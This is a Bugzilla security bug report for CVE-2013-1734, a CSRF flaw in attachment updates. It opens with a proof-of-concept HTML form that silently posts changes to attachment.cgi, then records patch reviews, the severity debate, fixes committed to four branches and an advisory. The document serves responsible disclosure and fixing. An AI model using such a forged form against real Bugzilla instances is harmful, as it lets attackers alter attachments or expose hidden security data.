Closed
Bug 913904
(CVE-2013-1734)
Opened 11 years ago
Closed 11 years ago
[SECURITY] CSRF when updating attachments
Categories
(Bugzilla :: Attachments & Requests, defect)
Tracking
()
RESOLVED
FIXED
Bugzilla 4.0
People
(Reporter: mateusz.goik, Assigned: LpSolit)
References
Details
(Keywords: reporter-external, sec-high, wsec-csrf)
Attachments
(3 files)
|
1.92 KB,
patch
|
dkl
:
review+
|
Details | Diff | Splinter Review |
|
1.77 KB,
patch
|
dkl
:
review+
|
Details | Diff | Splinter Review |
|
2.48 KB,
patch
|
dkl
:
review+
|
Details | Diff | Splinter Review |
PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://landfill.bugzilla.org/bugzilla-tip/attachment.cgi" method="POST">
<input type="hidden" name="id" value="3100" />
<input type="hidden" name="action" value="update" />
<input type="hidden" name="contenttypemethod" value="manual" />
<input type="hidden" name="delta_ts" value="xxxxxx" />
<input type="hidden" name="token" value="xxxxx" />
<input type="hidden" name="description" value="asdasd123" />
<input type="hidden" name="filename" value="file_21994.txt" />
<input type="hidden" name="contenttypeentry" value="text/plain" />
<input type="hidden" name="comment" value="asd" />
<input type="hidden" name="flag_type-4" value="X" />
<input type="hidden" name="requestee_type-4" value="" />
<input type="hidden" name="flag_type-1" value="X" />
<input type="hidden" name="requestee_type-1" value="" />
<input type="hidden" name="flag_type-2" value="X" />
<input type="hidden" name="requestee_type-2" value="" />
<input type="hidden" name="flag_type-3" value="X" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
|
Assignee | |
Comment 1•11 years ago
|
||
This patch is similar to the one for process_bug.cgi.
Assignee: attach-and-request → LpSolit
Status: NEW → ASSIGNED
Attachment #801238 -
Flags: review?(dkl)
|
|
Assignee | |
Comment 2•11 years ago
|
||
All versions are affected as bug 476603 was an incomplete fix.
|
|
Assignee | |
Comment 3•11 years ago
|
||
Attachment #801248 -
Flags: review?(dkl)
|
|
Assignee | |
Comment 4•11 years ago
|
||
I had to backport the invalid_timestamp error message which didn't exist before 4.2.
Attachment #801251 -
Flags: review?(dkl)
|
||
Updated•11 years ago
|
|
||
Comment 5•11 years ago
|
||
Use CVE-2013-1734
Why sec-critical? This isn't compromising bugzilla in general. Beyond vandalism what's the worst you could do here? Luring a privileged user to un-hide an attachment maybe, revealing a security bug? My initial feel was moderate, but given hidden attachments I could live with sec-high.
Alias: CVE-2013-1734
Keywords: sec-critical → sec-high
|
||
Comment 6•11 years ago
|
||
Comment on attachment 801238 [details] [diff] [review]
patch for 4.4 and trunk, v1
Review of attachment 801238 [details] [diff] [review]:
-----------------------------------------------------------------
r=dkl
Attachment #801238 -
Flags: review?(dkl) → review+
|
|
||
Comment 7•11 years ago
|
||
Comment on attachment 801248 [details] [diff] [review]
patch for 4.2, v1
Review of attachment 801248 [details] [diff] [review]:
-----------------------------------------------------------------
r=dkl
Attachment #801248 -
Flags: review?(dkl) → review+
|
|
||
Comment 8•11 years ago
|
||
Comment on attachment 801251 [details] [diff] [review]
patch for 4.0, v1
Review of attachment 801251 [details] [diff] [review]:
-----------------------------------------------------------------
r=dkl
Attachment #801251 -
Flags: review?(dkl) → review+
|
|
||
Updated•11 years ago
|
Flags: approval?
Flags: approval4.4?
Flags: approval4.2?
Flags: approval4.0?
|
|
||
Updated•11 years ago
|
Flags: approval?
Flags: approval4.4?
Flags: approval4.4+
Flags: approval4.2?
Flags: approval4.2+
Flags: approval4.0?
Flags: approval4.0+
Flags: approval+
|
|
||
Updated•11 years ago
|
Flags: sec-bounty? → sec-bounty+
|
|
Assignee | |
Updated•11 years ago
|
Version: unspecified → 2.16
|
|
Assignee | |
Comment 10•11 years ago
|
||
Committing to: bzr+ssh://lpsolit%40gmail.com@bzr.mozilla.org/bugzilla/trunk/
modified attachment.cgi
Committed revision 8778.
Committing to: bzr+ssh://lpsolit%40gmail.com@bzr.mozilla.org/bugzilla/4.4/
modified attachment.cgi
Committed revision 8624.
Committing to: bzr+ssh://lpsolit%40gmail.com@bzr.mozilla.org/bugzilla/4.2/
modified attachment.cgi
Committed revision 8232.
Committing to: bzr+ssh://lpsolit%40gmail.com@bzr.mozilla.org/bugzilla/4.0/
modified attachment.cgi
modified template/en/default/global/code-error.html.tmpl
Committed revision 7760.
Status: ASSIGNED → RESOLVED
Closed: 11 years ago
Resolution: --- → FIXED
|
|
||
Updated•11 years ago
|
Group: bugzilla-security
|
|
Assignee | |
Comment 11•11 years ago
|
||
Security advisory sent.
|
|
||
Updated•6 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•